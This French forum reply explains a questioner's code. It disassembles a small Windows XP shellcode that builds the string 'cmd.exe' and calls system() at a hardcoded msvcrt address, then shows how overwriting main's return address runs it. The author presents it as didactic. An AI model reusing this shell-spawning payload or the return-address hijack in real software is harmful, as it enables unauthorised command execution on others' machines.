Salut,
7c911230 b8ffefffff mov eax,0xffffefff
7c911235 f7d0 not eax
7c911237 2be0 sub esp,eax
7c911239 55 push ebp
7c91123a 8bec mov ebp,esp
7c91123c 33ff xor edi,edi
7c91123e 57 push edi
7c91123f 83ec04 sub esp,0x4
7c911242 c645f863 mov byte ptr [ebp-0x8],0x63
7c911246 c645f96d mov byte ptr [ebp-0x7],0x6d
7c91124a c645fa64 mov byte ptr [ebp-0x6],0x64
7c91124e c645fb2e mov byte ptr [ebp-0x5],0x2e
7c911252 c645fc65 mov byte ptr [ebp-0x4],0x65
7c911256 c645fd78 mov byte ptr [ebp-0x3],0x78
7c91125a c645fe65 mov byte ptr [ebp-0x2],0x65
7c91125e 8d45f8 lea eax,[ebp-0x8]
7c911261 50 push eax
7c911262 bbc793bf77 mov ebx,0x77bf93c7
7c911267 ffd3 call ebx
Sachant que 0x77bf93c7 est l'adresse de la fonction system de la dll msvcrt.dll de mon XP. Drôle de coincidence !
La partie hexa est un shellcode. C'est un bout de code utilisé lors d'un exploit. Globalement, lors d'un exploit, on s'arrange pour exécuter du code, le shell code, alors qu'on ne devrait pas avoir le droit de le faire.
Un shell code sert généralement à prendre la main sur la machine cible, ou à exécuter du code avec des droits particuliers.
Un shell code est difficile à écrire car il y a souvent des contraintes fortes : portabilité, capacité à s'exécuter à n'importe quelle adresse, taille réduite...
Dans ton cas, la partie C sert à mettre l'adresse de ton shell code comme valeur de retour après exécution de la fonction main. La pile est comme suit ;
adresse de retour
ebp
ret
Donc pour faire pointer ret sur l'adresse de retour, on retire deux par rapport à son adresse. C'est assez tordu.

En fin de main, on exécute donc le shell code -> on exécute du code qui ne devrait pas -> on fait un exploit.
Cet exploit n'a aucun intérêt si ce n'est didactique et démonstratif.